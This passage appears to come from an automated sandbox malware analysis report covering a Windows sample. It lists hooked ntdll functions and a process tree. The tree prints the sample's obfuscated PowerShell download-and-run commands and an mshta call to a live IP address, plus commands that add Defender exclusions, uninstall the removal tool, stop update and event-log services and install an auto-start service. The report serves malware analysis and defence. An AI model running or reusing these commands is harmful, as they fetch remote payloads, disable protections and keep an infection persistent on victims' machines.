ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	07:49:04
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x920000
File size:	51'200 bytes
MD5 hash:	16B50170FDA201194A611CA41219BE7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:49:05
Start date:	18/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"wscript" C:\Users\user\AppData\Local\Temp\tempScript.js
Imagebase:	0x7ff766b80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:49:06
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:49:06
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:49:06
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:49:06
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:49:11
Start date:	18/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs"
Imagebase:	0x7ff766b80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:49:12
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update
Imagebase:	0x7ff71bc40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:49:12
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:49:12
Start date:	18/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta http://176.113.115.178/Windows-Update
Imagebase:	0x7ff73f470000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:49:16
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:49:16
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:49:16
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:49:18
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:49:21
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:49:56
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\LB31.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\LB31.exe"
Imagebase:	0x7ff70a8a0000
File size:	7'679'488 bytes
MD5 hash:	C9E6AA21979D5FC710F1F2E8226D9DFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	07:49:57
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:49:57
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:50:00
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff71bc40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:50:00
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff6c3980000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	07:50:00
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:50:00
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:50:01
Start date:	18/12/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff778d90000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	07:50:01
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff6c3980000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	07:50:01
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	07:50:01
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff6c3980000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	07:50:01
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	07:50:01
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff6c3980000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	07:50:01
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	07:50:01
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff6c3980000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	07:50:01
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff7ac670000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7ac670000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff7ac670000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff7ac670000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff6605e0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "LIB"
Imagebase:	0x7ff6c3980000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff70f350000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
Imagebase:	0x7ff6c3980000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	07:50:02
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	07:50:03
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff6c3980000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	07:50:03
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "LIB"
Imagebase:	0x7ff6c3980000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	07:50:03
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	07:50:03
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7403e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	07:50:03
Start date:	18/12/2024
Path:	C:\ProgramData\Mig\Mig.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Mig\Mig.exe
Imagebase:	0x7ff6ae1e0000
File size:	7'679'488 bytes
MD5 hash:	C9E6AA21979D5FC710F1F2E8226D9DFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	07:50:03
Start date:	18/12/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7ac940000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	63
Start time:	07:50:04
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	64
Start time:	07:50:05
Start date:	18/12/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff68eb30000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	65
Start time:	07:50:09
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FFD340B49E9 Relevance: .4, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2207437436.00007FFD340B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd340b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56612c0008e279386ef0aeee3d889b3374aa1565224a2db95cc7264caefc28a9
Instruction ID: 2a24190803608c21a103f94b1030e4797dfdbc9da3ed007bae0a059beea13abf
Opcode Fuzzy Hash: 56612c0008e279386ef0aeee3d889b3374aa1565224a2db95cc7264caefc28a9
Instruction Fuzzy Hash: B3B14762B1DAC60FE74A9B6848B51747BE1EF57204B0941FFD58ACB2E3DC5CA8069341

Function 00007FFD340B206B Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2207437436.00007FFD340B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd340b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23c08e65db7cfaebc698764032f277524a3f0fc6c6f17817e69aa41d710a2df2
Instruction ID: 9adafe8aefbfff43c30fc19e902126d6e122b891d8bee84119b9f30a5f733cae
Opcode Fuzzy Hash: 23c08e65db7cfaebc698764032f277524a3f0fc6c6f17817e69aa41d710a2df2
Instruction Fuzzy Hash: 53513631B0C7890FD31E9A7888655627BA5EB97310B1582BED58BC7297DD28E807C7C2

Function 00007FFD340B2130 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2207437436.00007FFD340B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd340b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aee37f30a958ecf0d8fcd55c3d055a7aa5dbffc2981ee34959fecedf2b51b73c
